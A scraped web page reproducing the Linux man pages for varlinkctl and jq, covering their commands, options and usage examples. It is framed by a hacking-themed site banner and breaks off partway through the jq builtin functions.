  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2029 - Linux cli command varlinkctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command varlinkctl and provides detailed information about the command varlinkctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the varlinkctl.

NAME 🖥️ varlinkctl 🖥️

Introspect with and invoke Varlink services

SYNOPSIS

varlinkctl [OPTIONS…] info ADDRESS

varlinkctl [OPTIONS…] list-interfaces ADDRESS

varlinkctl [OPTIONS…] introspect ADDRESS INTERFACE

varlinkctl [OPTIONS…] call ADDRESS METHOD [ARGUMENTS]

varlinkctl [OPTIONS…] validate-idl [FILE]

DESCRIPTION

varlinkctl may be used to introspect and invoke Varlink[1] services.

Services are referenced by one of the following:

·

A Varlink service reference starting with the “unix:” string, followed by an absolute AF_UNIX socket path, or by “@” and an arbitrary string (the latter for referencing sockets in the abstract namespace).

·

A Varlink service reference starting with the “exec:” string, followed by an absolute path of a binary to execute.

·

A Varlink service reference starting with the “ssh:” string, followed by an SSH host specification, followed by “:”, followed by an absolute AF_UNIX socket path. (This requires OpenSSH 9.4 or newer on the server side, abstract namespace sockets are not supported.)

For convenience these two simpler (redundant) service address syntaxes are also supported:

·

A file system path to an AF_UNIX socket, either absolute (i.e. begins with “/”) or relative (in which case it must begin with “./”).

·

A file system path to an executable, either absolute or relative (as above, must begin with “/”, resp. “./”).

COMMANDS

The following commands are understood:

info ADDRESS

Show brief information about the specified service, including vendor name and list of implemented interfaces. Expects a service address in one of the formats described above.

Added in version 255.

list-interfaces ADDRESS

Show list of interfaces implemented by the specified service. Expects a service address in one of the formats described above.

Added in version 255.

introspect ADDRESS INTERFACE

Show interface definition of the specified interface provided by the specified service. Expects a service address in one of the formats described above and a Varlink interface name.

Added in version 255.

call ADDRESS METHOD [ARGUMENTS]

Call the specified method of the specified service. Expects a service address in the format described above, a fully qualified Varlink method name, and a JSON arguments object. If the arguments object is not specified, it is read from STDIN instead. To pass an empty list of parameters, specify the empty object “{}”.

The reply parameters are written as JSON object to STDOUT.

Added in version 255.

validate-idl [FILE]

Reads a Varlink interface definition file, parses and validates it, then outputs it with syntax highlighting. This checks for syntax and internal consistency of the interface. Expects a file name to read the interface definition from. If omitted reads the interface definition from STDIN.

Added in version 255.

help

Show command syntax help.

Added in version 255.

OPTIONS

The following options are understood:

–more

When used with call: expect multiple method replies. If this flag is set the method call is sent with the more flag set, which tells the service to generate multiple replies, if needed. The command remains running until the service sends a reply message that indicates it is the last in the series. This flag should be set only for method calls that support this mechanism.

If this mode is enabled output is automatically switched to JSON-SEQ mode, so that individual reply objects can be easily discerned.

Added in version 255.

–collect

This is similar to –more but collects all responses in a JSON array, and prints it, rather than in JSON_SEQ mode.

Added in version 256.

–oneway

When used with call: do not expect a method reply. If this flag is set the method call is sent with the oneway flag set (the command exits immediately after), which tells the service not to generate a reply.

Added in version 255.

**–json=**MODE

Selects the JSON output formatting, one of “pretty” (for nicely indented, colorized output) or “short” (for terse output with minimal whitespace and no newlines), defaults to “short”.

Added in version 255.

-j

Equivalent to –json=pretty when invoked interactively from a terminal. Otherwise equivalent to –json=short, in particular when the output is piped to some other program.

Added in version 255.

–no-pager

Do not pipe output into a pager.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXAMPLES

Example 1. Investigating a Service

The following three commands inspect the “io.systemd.Resolve” service implemented by systemd-resolved.service(8), listing general service information and implemented interfaces, and then displaying the interface definition of its primary interface:

$ varlinkctl info /run/systemd/resolve/io.systemd.Resolve Vendor: The systemd Project Product: systemd (systemd-resolved) Version: 254 (254-1522-g4790521^) URL: https://systemd.io/ Interfaces: io.systemd io.systemd.Resolve org.varlink.service $ varlinkctl list-interfaces /run/systemd/resolve/io.systemd.Resolve io.systemd io.systemd.Resolve org.varlink.service $ varlinkctl introspect /run/systemd/resolve/io.systemd.Resolve io.systemd.Resolve interface io.systemd.Resolve type ResolvedAddress( ifindex: ?int, …

(Interface definition has been truncated in the example above, in the interest of brevity.)

Example 2. Invoking a Method

The following command resolves a hostname via systemd-resolved.service(8)s ResolveHostname method call.

$ varlinkctl call /run/systemd/resolve/io.systemd.Resolve io.systemd.Resolve.ResolveHostname {“name”:“systemd.io”,“family”:2} -j { “addresses” : [ { “ifindex” : 2, “family” : 2, “address” : [ 185, 199, 111, 153 ] } ], “name” : “systemd.io”, “flags” : 1048577 }

Example 3. Investigating a Service Executable

The following command inspects the /usr/lib/systemd/systemd-pcrextend executable and the IPC APIs it provides. It then invokes a method on it:

varlinkctl info /usr/lib/systemd/systemd-pcrextend

    Vendor: The systemd Project
   Product: systemd (systemd-pcrextend)
   Version: 254 (254-1536-g97734fb)
       URL: https://systemd.io/
Interfaces: io.systemd
            io.systemd.PCRExtend
            org.varlink.service
# varlinkctl introspect /usr/lib/systemd/systemd-pcrextend io.systemd.PCRExtend
interface io.systemd.PCRExtend

method Extend(
        pcr: int,
        text: ?string,
        data: ?string
) -> ()
# varlinkctl call /usr/lib/systemd/systemd-pcrextend io.systemd.PCRExtend.Extend {"pcr":15,"text":"foobar"}
{}

SEE ALSO

busctl(1), Varlink[1]

NOTES

Varlink

https://varlink.org/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2030 - Linux cli command jq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jq and provides detailed information about the command jq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jq.

NAME 🖥️ jq 🖥️

Command-line JSON processor

SYNOPSIS

jq [options…] filter [files…]

jq can transform JSON in various ways, by selecting, iterating, reducing and otherwise mangling JSON documents. For instance, running the command jq ‘map(.price) | add’ will take an array of JSON objects as input and return the sum of their “price” fields.

jq can accept text input as well, but by default, jq reads a stream of JSON entities (including numbers and other literals) from stdin. Whitespace is only needed to separate entities such as 1 and 2, and true and false. One or more files may be specified, in which case jq will read input from those instead.

The options are described in the [INVOKING JQ] section; they mostly concern input and output formatting. The filter is written in the jq language and specifies how to transform the input file or document.

FILTERS

A jq program is a “filter”: it takes an input, and produces an output. There are a lot of builtin filters for extracting a particular field of an object, or converting a number to a string, or various other standard tasks.

Filters can be combined in various ways - you can pipe the output of one filter into another filter, or collect the output of a filter into an array.

Some filters produce multiple results, for instance there’s one that produces all the elements of its input array. Piping that filter into a second runs the second filter for each element of the array. Generally, things that would be done with loops and iteration in other languages are just done by gluing filters together in jq.

It’s important to remember that every filter has an input and an output. Even literals like “hello” or 42 are filters - they take an input but always produce the same literal as output. Operations that combine two filters, like addition, generally feed the same input to both and combine the results. So, you can implement an averaging filter as add / length - feeding the input array both to the add filter and the length filter and then performing the division.

But that’s getting ahead of ourselves. :) Let’s start with something simpler:

INVOKING JQ

jq filters run on a stream of JSON data. The input to jq is parsed as a sequence of whitespace-separated JSON values which are passed through the provided filter one at a time. The output(s) of the filter are written to standard output, as a sequence of newline-separated JSON data.

The simplest and most common filter (or jq program) is ., which is the identity operator, copying the inputs of the jq processor to the output stream. Because the default behavior of the jq processor is to read JSON texts from the input stream, and to pretty-print outputs, the . program’s main use is to validate and pretty-print the inputs. The jq programming language is quite rich and allows for much more than just validation and pretty-printing.

Note: it is important to mind the shell’s quoting rules. As a general rule it’s best to always quote (with single-quote characters on Unix shells) the jq program, as too many characters with special meaning to jq are also shell meta-characters. For example, jq “foo” will fail on most Unix shells because that will be the same as jq foo, which will generally fail because foo is not defined. When using the Windows command shell (cmd.exe) it’s best to use double quotes around your jq program when given on the command-line (instead of the -f program-file option), but then double-quotes in the jq program need backslash escaping. When using the Powershell (powershell.exe) or the Powershell Core (pwsh/pwsh.exe), use single-quote characters around the jq program and backslash-escaped double-quotes (****) inside the jq program.

  • Unix shells: jq ‘.[“foo”]’

  • Powershell: jq ‘.[\foo\]’

  • Windows command shell: jq “.[\foo\]”

Note: jq allows user-defined functions, but every jq program must have a top-level expression.

You can affect how jq reads and writes its input and output using some command-line options:

–null-input / -n:

Don’t read any input at all. Instead, the filter is run once using null as the input. This is useful when using jq as a simple calculator or to construct JSON data from scratch.

–raw-input / -R:

Don’t parse the input as JSON. Instead, each line of text is passed to the filter as a string. If combined with –slurp, then the entire input is passed to the filter as a single long string.

–slurp / -s:

Instead of running the filter for each JSON object in the input, read the entire input stream into a large array and run the filter just once.

–compact-output / -c:

By default, jq pretty-prints JSON output. Using this option will result in more compact output by instead putting each JSON object on a single line.

–raw-output / -r:

With this option, if the filter’s result is a string then it will be written directly to standard output rather than being formatted as a JSON string with quotes. This can be useful for making jq filters talk to non-JSON-based systems.

–raw-output0:

Like -r but jq will print NUL instead of newline after each output. This can be useful when the values being output can contain newlines. When the output value contains NUL, jq exits with non-zero code.

–join-output / -j:

Like -r but jq won’t print a newline after each output.

–ascii-output / -a:

jq usually outputs non-ASCII Unicode codepoints as UTF-8, even if the input specified them as escape sequences (like “μ”). Using this option, you can force jq to produce pure ASCII output with every non-ASCII character replaced with the equivalent escape sequence.

–sort-keys / -S:

Output the fields of each object with the keys in sorted order.

–color-output / -C and –monochrome-output / -M:

By default, jq outputs colored JSON if writing to a terminal. You can force it to produce color even if writing to a pipe or a file using -C, and disable color with -M. When the NO_COLOR environment variable is not empty, jq disables colored output by default, but you can enable it by -C.

Colors can be configured with the JQ_COLORS environment variable (see below).

–tab:

Use a tab for each indentation level instead of two spaces.

–indent n:

Use the given number of spaces (no more than 7) for indentation.

–unbuffered:

Flush the output after each JSON object is printed (useful if you’re piping a slow data source into jq and piping jq’s output elsewhere).

–stream:

Parse the input in streaming fashion, outputting arrays of path and leaf values (scalars and empty arrays or empty objects). For example, “a” becomes [[],“a”], and [[],“a”,[“b”]] becomes [[0],[]], [[1],“a”], and [[2,0],“b”].

This is useful for processing very large inputs. Use this in conjunction with filtering and the reduce and foreach syntax to reduce large inputs incrementally.

–stream-errors:

Like –stream, but invalid JSON inputs yield array values where the first element is the error and the second is a path. For example, [“a”,n] produces [“Invalid literal at line 1, column 7”,[1]].

Implies –stream. Invalid JSON inputs produce no error values when –stream without –stream-errors.

–seq:

Use the application/json-seq MIME type scheme for separating JSON texts in jq’s input and output. This means that an ASCII RS (record separator) character is printed before each value on output and an ASCII LF (line feed) is printed after every output. Input JSON texts that fail to parse are ignored (but warned about), discarding all subsequent input until the next RS. This mode also parses the output of jq without the –seq option.

-f filename / –from-file filename:

Read filter from the file rather than from a command line, like awk’s -f option. You can also use ‘#’ to make comments.

-L directory:

Prepend directory to the search list for modules. If this option is used then no builtin search list is used. See the section on modules below.

–arg name value:

This option passes a value to the jq program as a predefined variable. If you run jq with –arg foo bar, then $foo is available in the program and has the value “bar”. Note that value will be treated as a string, so –arg foo 123 will bind $foo to “123”.

Named arguments are also available to the jq program as $ARGS.named.

–argjson name JSON-text:

This option passes a JSON-encoded value to the jq program as a predefined variable. If you run jq with –argjson foo 123, then $foo is available in the program and has the value 123.

–slurpfile variable-name filename:

This option reads all the JSON texts in the named file and binds an array of the parsed JSON values to the given global variable. If you run jq with –slurpfile foo bar, then $foo is available in the program and has an array whose elements correspond to the texts in the file named bar.

–rawfile variable-name filename:

This option reads in the named file and binds its contents to the given global variable. If you run jq with –rawfile foo bar, then $foo is available in the program and has a string whose contents are to the texts in the file named bar.

–args:

Remaining arguments are positional string arguments. These are available to the jq program as $ARGS.positional[].

–jsonargs:

Remaining arguments are positional JSON text arguments. These are available to the jq program as $ARGS.positional[].

–exit-status / -e:

Sets the exit status of jq to 0 if the last output value was neither false nor null, 1 if the last output value was either false or null, or 4 if no valid result was ever produced. Normally jq exits with 2 if there was any usage problem or system error, 3 if there was a jq program compile error, or 0 if the jq program ran.

Another way to set the exit status is with the halt_error builtin function.

–binary / -b:

Windows users using WSL, MSYS2, or Cygwin, should use this option when using a native jq.exe, otherwise jq will turn newlines (LFs) into carriage-return-then-newline (CRLF).

–version / -V:

Output the jq version and exit with zero.

–build-configuration:

Output the build configuration of jq and exit with zero. This output has no supported format or structure and may change without notice in future releases.

–help / -h:

Output the jq help and exit with zero.

:

Terminates argument processing. Remaining arguments are not interpreted as options.

–run-tests [filename]:

Runs the tests in the given file or standard input. This must be the last option given and does not honor all preceding options. The input consists of comment lines, empty lines, and program lines followed by one input line, as many lines of output as are expected (one per output), and a terminating empty line. Compilation failure tests start with a line containing only %%FAIL, then a line containing the program to compile, then a line containing an error message to compare to the actual.

Be warned that this option can change backwards-incompatibly.

BASIC FILTERS

Identity: .

The absolute simplest filter is . . This filter takes its input and produces the same value as output. That is, this is the identity operator.

Since jq by default pretty-prints all output, a trivial program consisting of nothing but . can be used to format JSON output from, say, curl.

Although the identity filter never modifies the value of its input, jq processing can sometimes make it appear as though it does. For example, using the current implementation of jq, we would see that the expression:

1E1234567890 | .

produces 1.7976931348623157e+308 on at least one platform. This is because, in the process of parsing the number, this particular version of jq has converted it to an IEEE754 double-precision representation, losing precision.

The way in which jq handles numbers has changed over time and further changes are likely within the parameters set by the relevant JSON standards. The following remarks are therefore offered with the understanding that they are intended to be descriptive of the current version of jq and should not be interpreted as being prescriptive:

(1) Any arithmetic operation on a number that has not already been converted to an IEEE754 double precision representation will trigger a conversion to the IEEE754 representation.

(2) jq will attempt to maintain the original decimal precision of number literals, but in expressions such 1E1234567890, precision will be lost if the exponent is too large.

(3) In jq programs, a leading minus sign will trigger the conversion of the number to an IEEE754 representation.

(4) Comparisons are carried out using the untruncated big decimal representation of numbers if available, as illustrated in one of the following examples.

jq '.'
   "Hello, world!"
=> "Hello, world!"

jq '.'
   0.12345678901234567890123456789
=> 0.12345678901234567890123456789

jq '[., tojson]'
   12345678909876543212345
=> [12345678909876543212345,"12345678909876543212345"]

jq '. < 0.12345678901234567890123456788'
   0.12345678901234567890123456789
=> false

jq 'map([., . == 1]) | tojson'
   [1, 1.000, 1.0, 100e-2]
=> "[[1,true],[1.000,true],[1.0,true],[1.00,true]]"

jq '. as $big | [$big, $big + 1] | map(. > 10000000000000000000000000000000)'
   10000000000000000000000000000001
=> [true, false]

Object Identifier-Index: .foo, .foo.bar

The simplest useful filter has the form .foo. When given a JSON object (aka dictionary or hash) as input, .foo produces the value at the key “foo” if the key is present, or null otherwise.

A filter of the form .foo.bar is equivalent to .foo | .bar.

The .foo syntax only works for simple, identifier-like keys, that is, keys that are all made of alphanumeric characters and underscore, and which do not start with a digit.

If the key contains special characters or starts with a digit, you need to surround it with double quotes like this: .“foo$”, or else .[“foo$”].

For example .[“foo::bar”] and .[“foo.bar”] work while .foo::bar does not.

jq '.foo'
   {"foo": 42, "bar": "less interesting data"}
=> 42

jq '.foo'
   {"notfoo": true, "alsonotfoo": false}
=> null

jq '.["foo"]'
   {"foo": 42}
=> 42

Optional Object Identifier-Index: .foo?

Just like .foo, but does not output an error when . is not an object.

jq '.foo?'
   {"foo": 42, "bar": "less interesting data"}
=> 42

jq '.foo?'
   {"notfoo": true, "alsonotfoo": false}
=> null

jq '.["foo"]?'
   {"foo": 42}
=> 42

jq '[.foo?]'
   [1,2]
=> []

Object Index: .[<string>]

You can also look up fields of an object using syntax like .[“foo”] (.foo above is a shorthand version of this, but only for identifier-like strings).

Array Index: .[<number>]

When the index value is an integer, .[<number>] can index arrays. Arrays are zero-based, so .[2] returns the third element.

Negative indices are allowed, with -1 referring to the last element, -2 referring to the next to last element, and so on.

jq '.[0]'
   [{"name":"JSON", "good":true}, {"name":"XML", "good":false}]
=> {"name":"JSON", "good":true}

jq '.[2]'
   [{"name":"JSON", "good":true}, {"name":"XML", "good":false}]
=> null

jq '.[-2]'
   [1,2,3]
=> 2

Array/String Slice: .[<number>:<number>]

The .[<number>:<number>] syntax can be used to return a subarray of an array or substring of a string. The array returned by .[10:15] will be of length 5, containing the elements from index 10 (inclusive) to index 15 (exclusive). Either index may be negative (in which case it counts backwards from the end of the array), or omitted (in which case it refers to the start or end of the array). Indices are zero-based.

jq '.[2:4]'
   ["a","b","c","d","e"]
=> ["c", "d"]

jq '.[2:4]'
   "abcdefghi"
=> "cd"

jq '.[:3]'
   ["a","b","c","d","e"]
=> ["a", "b", "c"]

jq '.[-2:]'
   ["a","b","c","d","e"]
=> ["d", "e"]

Array/Object Value Iterator: .[]

If you use the .[index] syntax, but omit the index entirely, it will return all of the elements of an array. Running .[] with the input [1,2,3] will produce the numbers as three separate results, rather than as a single array. A filter of the form .foo[] is equivalent to .foo | .[].

You can also use this on an object, and it will return all the values of the object.

Note that the iterator operator is a generator of values.

jq '.[]'
   [{"name":"JSON", "good":true}, {"name":"XML", "good":false}]
=> {"name":"JSON", "good":true}, {"name":"XML", "good":false}

jq '.[]'
   []
=> 

jq '.foo[]'
   {"foo":[1,2,3]}
=> 1, 2, 3

jq '.[]'
   {"a": 1, "b": 1}
=> 1, 1

.[]?

Like .[], but no errors will be output if . is not an array or object. A filter of the form .foo[]? is equivalent to .foo | .[]?.

Comma: ,

If two filters are separated by a comma, then the same input will be fed into both and the two filters’ output value streams will be concatenated in order: first, all of the outputs produced by the left expression, and then all of the outputs produced by the right. For instance, filter .foo, .bar, produces both the “foo” fields and “bar” fields as separate outputs.

The , operator is one way to contruct generators.

jq '.foo, .bar'
   {"foo": 42, "bar": "something else", "baz": true}
=> 42, "something else"

jq '.user, .projects[]'
   {"user":"stedolan", "projects": ["jq", "wikiflow"]}
=> "stedolan", "jq", "wikiflow"

jq '.[4,2]'
   ["a","b","c","d","e"]
=> "e", "c"

Pipe: |

The | operator combines two filters by feeding the output(s) of the one on the left into the input of the one on the right. It’s similar to the Unix shell’s pipe, if you’re used to that.

If the one on the left produces multiple results, the one on the right will be run for each of those results. So, the expression .[] | .foo retrieves the “foo” field of each element of the input array. This is a cartesian product, which can be surprising.

Note that .a.b.c is the same as .a | .b | .c.

Note too that . is the input value at the particular stage in a “pipeline”, specifically: where the . expression appears. Thus .a | . | .b is the same as .a.b, as the . in the middle refers to whatever value .a produced.

jq '.[] | .name'
   [{"name":"JSON", "good":true}, {"name":"XML", "good":false}]
=> "JSON", "XML"

Parenthesis

Parenthesis work as a grouping operator just as in any typical programming language.

jq '(. + 2) * 5'
   1
=> 15

TYPES AND VALUES

jq supports the same set of datatypes as JSON - numbers, strings, booleans, arrays, objects (which in JSON-speak are hashes with only string keys), and “null”.

Booleans, null, strings and numbers are written the same way as in JSON. Just like everything else in jq, these simple values take an input and produce an output - 42 is a valid jq expression that takes an input, ignores it, and returns 42 instead.

Numbers in jq are internally represented by their IEEE754 double precision approximation. Any arithmetic operation with numbers, whether they are literals or results of previous filters, will produce a double precision floating point result.

However, when parsing a literal jq will store the original literal string. If no mutation is applied to this value then it will make to the output in its original form, even if conversion to double would result in a loss.

Array construction: []

As in JSON, [] is used to construct arrays, as in [1,2,3]. The elements of the arrays can be any jq expression, including a pipeline. All of the results produced by all of the expressions are collected into one big array. You can use it to construct an array out of a known quantity of values (as in [.foo, .bar, .baz]) or to “collect” all the results of a filter into an array (as in [.items[].name])

Once you understand the “,” operator, you can look at jq’s array syntax in a different light: the expression [1,2,3] is not using a built-in syntax for comma-separated arrays, but is instead applying the [] operator (collect results) to the expression 1,2,3 (which produces three different results).

If you have a filter X that produces four results, then the expression [X] will produce a single result, an array of four elements.

jq '[.user, .projects[]]'
   {"user":"stedolan", "projects": ["jq", "wikiflow"]}
=> ["stedolan", "jq", "wikiflow"]

jq '[ .[] | . * 2]'
   [1, 2, 3]
=> [2, 4, 6]

Object Construction:

Like JSON, {} is for constructing objects (aka dictionaries or hashes), as in: {“a”: 42, “b”: 17}.

If the keys are “identifier-like”, then the quotes can be left off, as in {a:42, b:17}. Variable references as key expressions use the value of the variable as the key. Key expressions other than constant literals, identifiers, or variable references, need to be parenthesized, e.g., {(“a”+“b”):59}.

The value can be any expression (although you may need to wrap it in parentheses if, for example, it contains colons), which gets applied to the {} expression’s input (remember, all filters have an input and an output).

{foo: .bar}

will produce the JSON object {“foo”: 42} if given the JSON object {“bar”:42, “baz”:43} as its input. You can use this to select particular fields of an object: if the input is an object with “user”, “title”, “id”, and “content” fields and you just want “user” and “title”, you can write

{user: .user, title: .title}

Because that is so common, there’s a shortcut syntax for it: {user, title}.

If one of the expressions produces multiple results, multiple dictionaries will be produced. If the input’s

{"user":"stedolan","titles":["JQ Primer", "More JQ"]}

then the expression

{user, title: .titles[]}

will produce two outputs:

{"user":"stedolan", "title": "JQ Primer"}
{"user":"stedolan", "title": "More JQ"}

Putting parentheses around the key means it will be evaluated as an expression. With the same input as above,

{(.user): .titles}

produces

{"stedolan": ["JQ Primer", "More JQ"]}

Variable references as keys use the value of the variable as the key. Without a value then the variable’s name becomes the key and its value becomes the value,

"f o o" as $foo | "b a r" as $bar | {$foo, $bar:$foo}

produces

{"foo":"f o o","b a r":"f o o"}

jq '{user, title: .titles[]}'
   {"user":"stedolan","titles":["JQ Primer", "More JQ"]}
=> {"user":"stedolan", "title": "JQ Primer"}, {"user":"stedolan", "title": "More JQ"}

jq '{(.user): .titles}'
   {"user":"stedolan","titles":["JQ Primer", "More JQ"]}
=> {"stedolan": ["JQ Primer", "More JQ"]}

Recursive Descent: ..

Recursively descends ., producing every value. This is the same as the zero-argument recurse builtin (see below). This is intended to resemble the XPath // operator. Note that ..a does not work; use .. | .a instead. In the example below we use .. | .a? to find all the values of object keys “a” in any object found “below” ..

This is particularly useful in conjunction with path(EXP) (also see below) and the ? operator.

jq '.. | .a?'
   [[{"a":1}]]
=> 1

BUILTIN OPERATORS AND FUNCTIONS

Some jq operators (for instance, +) do different things depending on the type of their arguments (arrays, numbers, etc.). However, jq never does implicit type conversions. If you try to add a string to an object you’ll get an error message and no result.

Please note that all numbers are converted to IEEE754 double precision floating point representation. Arithmetic and logical operators are working with these converted doubles. Results of all such operations are also limited to the double precision.

The only exception to this behaviour of number is a snapshot of original number literal. When a number which originally was provided as a literal is never mutated until the end of the program then it is printed to the output in its original literal form. This also includes cases when the original literal would be truncated when converted to the IEEE754 double precision floating point number.

Addition: +

The operator + takes two filters, applies them both to the same input, and adds the results together. What “adding” means depends on the types involved:

  • Numbers are added by normal arithmetic.

  • Arrays are added by being concatenated into a larger array.

  • Strings are added by being joined into a larger string.

  • Objects are added by merging, that is, inserting all the key-value pairs from both objects into a single combined object. If both objects contain a value for the same key, the object on the right of the + wins. (For recursive merge use the * operator.)

null can be added to any value, and returns the other value unchanged.

jq '.a + 1'
   {"a": 7}
=> 8

jq '.a + .b'
   {"a": [1,2], "b": [3,4]}
=> [1,2,3,4]

jq '.a + null'
   {"a": 1}
=> 1

jq '.a + 1'
   {}
=> 1

jq '{a: 1} + {b: 2} + {c: 3} + {a: 42}'
   null
=> {"a": 42, "b": 2, "c": 3}

Subtraction: -

As well as normal arithmetic subtraction on numbers, the - operator can be used on arrays to remove all occurrences of the second array’s elements from the first array.

jq '4 - .a'
   {"a":3}
=> 1

jq '. - ["xml", "yaml"]'
   ["xml", "yaml", "json"]
=> ["json"]

Multiplication, division, modulo: *, /, %

These infix operators behave as expected when given two numbers. Division by zero raises an error. x % y computes x modulo y.

Multiplying a string by a number produces the concatenation of that string that many times. “x” * 0 produces "".

Dividing a string by another splits the first using the second as separators.

Multiplying two objects will merge them recursively: this works like addition but if both objects contain a value for the same key, and the values are objects, the two are merged with the same strategy.

jq '10 / . * 3'
   5
=> 6

jq '. / ", "'
   "a, b,c,d, e"
=> ["a","b,c,d","e"]

jq '{"k": {"a": 1, "b": 2}} * {"k": {"a": 0,"c": 3}}'
   null
=> {"k": {"a": 0, "b": 2, "c": 3}}

jq '.[] | (1 / .)?'
   [1,0,-1]
=> 1, -1

abs

The builtin function abs is defined naively as: if . < 0 then - . else . end.

For numeric input, this is the absolute value. See the section on the identity filter for the implications of this definition for numeric input.

To compute the absolute value of a number as a floating point number, you may wish use fabs.

jq 'map(abs)'
   [-10, -1.1, -1e-1]
=> [10,1.1,1e-1]

length

The builtin function length gets the length of various different types of value:

  • The length of a string is the number of Unicode codepoints it contains (which will be the same as its JSON-encoded length in bytes if it’s pure ASCII).

  • The length of a number is its absolute value.

  • The length of an array is the number of elements.

  • The length of an object is the number of key-value pairs.

  • The length of null is zero.

  • It is an error to use length on a boolean.

jq '.[] | length'
   [[1,2], "string", {"a":2}, null, -5]
=> 2, 6, 1, 0, 5

utf8bytelength

The builtin function utf8bytelength outputs the number of bytes used to encode a string in UTF-8.

jq 'utf8bytelength'
   "μ"
=> 2

keys, keys_unsorted

The builtin function keys, when given an object, returns its keys in an array.

The keys are sorted “alphabetically”, by unicode codepoint order. This is not an order that makes particular sense in any particular language, but you can count on it being the same for any two objects with the same set of keys, regardless of locale settings.

When keys is given an array, it returns the valid indices for that array: the integers from 0 to length-1.

The keys_unsorted function is just like keys, but if the input is an object then the keys will not be sorted, instead the keys will roughly be in insertion order.

jq 'keys'
   {"abc": 1, "abcd": 2, "Foo": 3}
=> ["Foo", "abc", "abcd"]

jq 'keys'
   [42,3,35]
=> [0,1,2]

has(key)

The builtin function has returns whether the input object has the given key, or the input array has an element at the given index.

has($key) has the same effect as checking whether $key is a member of the array returned by keys, although has will be faster.

jq 'map(has("foo"))'
   [{"foo": 42}, {}]
=> [true, false]

jq 'map(has(2))'
   [[0,1], ["a","b","c"]]
=> [false, true]

in

The builtin function in returns whether or not the input key is in the given object, or the input index corresponds to an element in the given array. It is, essentially, an inversed version of has.

jq '.[] | in({"foo": 42})'
   ["foo", "bar"]
=> true, false

jq 'map(in([0,1]))'
   [2, 0]
=> [false, true]

map(f), map_values(f)

For any filter f, map(f) and map_values(f) apply f to each of the values in the input array or object, that is, to the values of .[].

In the absence of errors, map(f) always outputs an array whereas map_values(f) outputs an array if given an array, or an object if given an object.

When the input to map_values(f) is an object, the output object has the same keys as the input object except for those keys whose values when piped to f produce no values at all.

The key difference between map(f) and map_values(f) is that the former simply forms an array from all the values of ($x|f) for each value, $x, in the input array or object, but map_values(f) only uses first($x|f).

Specifically, for object inputs, map_value(f) constructs the output object by examining in turn the value of first(.[$k]|f) for each key, $k, of the input. If this expression produces no values, then the corresponding key will be dropped; otherwise, the output object will have that value at the key, $k.

Here are some examples to clarify the behavior of map and map_values when applied to arrays. These examples assume the input is [1] in all cases:

map(.+1)          #=>  [2]
map(., .)         #=>  [1,1]
map(empty)        #=>  []

map_values(.+1)   #=>  [2]
map_values(., .)  #=>  [1]
map_values(empty) #=>  []

map(f) is equivalent to [.[] | f] and map_values(f) is equivalent to .[] |= f.

In fact, these are their implementations.

jq 'map(.+1)'
   [1,2,3]
=> [2,3,4]

jq 'map_values(.+1)'
   {"a": 1, "b": 2, "c": 3}
=> {"a": 2, "b": 3, "c": 4}

jq 'map(., .)'
   [1,2]
=> [1,1,2,2]

jq 'map_values(. // empty)'
   {"a": null, "b": true, "c": false}
=> {"b":true}

pick(pathexps)

Emit the projection of the input object or array defined by the specified sequence of path expressions, such that if p is any one of these specifications, then (. | p) will evaluate to the same value as (. | pick(pathexps) | p). For arrays, negative indices and .[m:n] specifications should not be used.

jq 'pick(.a, .b.c, .x)'
   {"a": 1, "b": {"c": 2, "d": 3}, "e": 4}
=> {"a":1,"b":{"c":2},"x":null}

jq 'pick(.[2], .[0], .[0])'
   [1,2,3,4]
=> [1,null,3]

path(path_expression)

Outputs array representations of the given path expression in .. The outputs are arrays of strings (object keys) and/or numbers (array indices).

Path expressions are jq expressions like .a, but also .[]. There are two types of path expressions: ones that can match exactly, and ones that cannot. For example, .a.b.c is an exact match path expression, while .a[].b is not.

path(exact_path_expression) will produce the array representation of the path expression even if it does not exist in ., if . is null or an array or an object.

path(pattern) will produce array representations of the paths matching pattern if the paths exist in ..

Note that the path expressions are not different from normal expressions. The expression path(..|select(type==“boolean”)) outputs all the paths to boolean values in ., and only those paths.

jq 'path(.a[0].b)'
   null
=> ["a",0,"b"]

jq '[path(..)]'
   {"a":[{"b":1}]}
=> [[],["a"],["a",0],["a",0,"b"]]

del(path_expression)

